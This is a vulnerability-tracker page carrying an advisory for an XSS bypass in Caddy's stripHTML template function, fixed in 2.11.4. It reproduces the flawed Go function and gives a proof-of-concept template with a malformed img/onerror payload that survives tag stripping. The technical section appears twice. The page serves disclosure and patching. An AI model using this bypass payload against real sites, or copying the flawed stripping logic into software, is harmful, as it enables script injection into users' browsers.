CVE-2026-52846Medium· 4.2▾ Sunlit

Caddy: stripHTML template function bypass

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score23/ 100 · Low

impact 23.1 · likelihood 0 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Jun 16, 2026

Updated

Jun 16, 2026

CVSS

4.2

Vendor

caddyserver

Product

github.com/caddyserver/caddy/v2

CWE

CWE-116

Depth score

23 · Low

EPSS

0.19% · p9

Platforms

—

Source

GHSA

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 4.

0.2% → 0.2%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 57 days

Jun 16, 2026Published
Disclosed via GHSA
Jul 4, 2026EPSS first tracked
0.2%
Aug 12, 2026EPSS peak
0.2% → 0.2%

caddyserver CWE-116 #ghsa #go

Affected

github.com/caddyserver/caddy/v2 <= 2.11.3
github.com/caddyserver/caddy <= 1.0.5

Patched in

github.com/caddyserver/caddy/v2 2.11.4

Full technical detail▾

Overview

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

Affected packages

github.com/caddyserver/caddy/v2 <= 2.11.3
github.com/caddyserver/caddy <= 1.0.5

Remediation

Upgrade to a patched release:

github.com/caddyserver/caddy/v2 2.11.4

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#ghsa#go

Overview

Summary

Details

The vulnerability originates from funcStripHTML in:

func (TemplateContext) funcStripHTML(s string) string { var buf bytes.Buffer var inTag, inQuotes bool var tagStart int for i, ch := range s { if inTag { if ch == '>' && !inQuotes { inTag = false } else if ch == '<' && !inQuotes { // false start buf.WriteString(s[tagStart:i]) tagStart = i } else if ch == '"' { inQuotes = !inQuotes } continue } if ch == '<' { inTag = true tagStart = i continue } buf.WriteRune(ch) } if inTag { // false start buf.WriteString(s[tagStart:]) } return buf.String() }

POC

Caddyfile setup

:8080 { root * ./site file_server templates }

Template file (index.html)

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>StripHTML Bypass Test</title> </head> <body> <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p> </body> </html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.